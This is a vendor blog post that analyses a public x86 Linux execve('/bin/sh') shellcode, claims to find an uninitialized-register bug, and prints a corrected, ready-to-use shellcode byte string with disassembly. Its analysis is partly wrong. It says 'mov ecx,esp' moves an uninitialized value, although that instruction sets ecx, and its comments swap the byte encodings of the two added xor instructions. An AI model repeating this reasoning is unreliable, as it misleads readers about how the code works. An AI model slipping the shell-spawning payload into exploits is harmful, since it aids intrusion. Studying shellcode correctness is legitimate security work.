Uncovering a Hidden Shellcode Vulnerability

David Brumley
August 31, 2023
Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Have you ever found yourself using shellcode, only to discover that it’s broken? It happened to me recently. 

While experimenting with shellcode from a seemingly functional source  (https://shell-storm.org/shellcode/files/shellcode-827.html), I discovered a hidden vulnerability. 

It took me a while to spot the problem; can you?

0:  31 c0                   xor    eax,eax
2:  50                      push   eax
3:  68 2f 2f 73 68          push   0x68732f2f
8:  68 2f 62 69 6e          push   0x6e69622f
d:  89 e3                   mov    ebx,esp
f:  50                      push   eax
10: 53                      push   ebx
11: 89 e1                   mov    ecx,esp
13: b0 0b                   mov    al,0xb
15: cd 80                   int    0x80

Spotting the Vulnerability

The suspicious line is:

89 e1                   mov    ecx,esp

To uncover the root of the issue, I started with what I already knew. The goal was to execute:

int execve(const char *pathname, char *const argv[], char *const envp[]);

In order to do this, you need:

  • The first argument as /bin/sh. That’s what the two pushes do in the disassembly
  • The second argument is NULL.
  • The third argument is NULL.

But wait: The suspicious line is moving a value that was not initialized! It is effectively becoming the second argument to execve, and it will be whatever junk is left in ecx, resulting in unpredictable behavior. 

This issue can be categorized as a CWE-457: uninitialized value vulnerability.

Fixing the Shellcode

The solution lies in initializing the ecx and edx registers before they are used as arguments for execve. Prepending two instructions to the shellcode makes it work:


xor edx, edx  ; \x31\xc9 
xor ecx, ecx  ; \x31\xd2

So the final working shellcode would be:

shellcode = b"\x31\xc0\x31\xc9\x31\xd2\xB0\x0B\x51\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\xCD\x80"

Disassembled:

0:  31 c0                   xor    eax,eax  
2:  31 c9                   xor    ecx,ecx   ;; added instruction
4:  31 d2                   xor    edx,edx   ;; added instruction
6:  b0 0b                   mov    al,0xb  
8:  51                      push   ecx  
9:  68 2f 2f 73 68          push   0x68732f2f  
e:  68 2f 62 69 6e          push   0x6e69622f  
13: 89 e3                   mov    ebx,esp  
15: cd 80                   int    0x80

By taking this approach, the shellcode vulnerability is effectively addressed, and the code works as intended. 

This serves as a reminder that even seemingly functional code can harbor subtle vulnerabilities that require careful analysis and remediation. In the realm of shellcode, paying close attention to instruction sequences can make all the difference between success and unexpected failures.

{{code-cta}}

Share this post

How about some Mayhem in your inbox?

Subscribe to our monthly newsletter for expert insights and news on DevSecOps topics, plus Mayhem tips and tutorials.

By subscribing, you're agreeing to our website terms and privacy policy.
Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Add Mayhem to Your DevSecOps for Free.

Get a full-featured 30 day free trial.

Complete API Security in 5 Minutes

Get started with Mayhem today for fast, comprehensive, API security. 

Get Mayhem

Maximize Code Coverage in Minutes

Mayhem is an award-winning AI that autonomously finds new exploitable bugs and improves your test suites.

Get Mayhem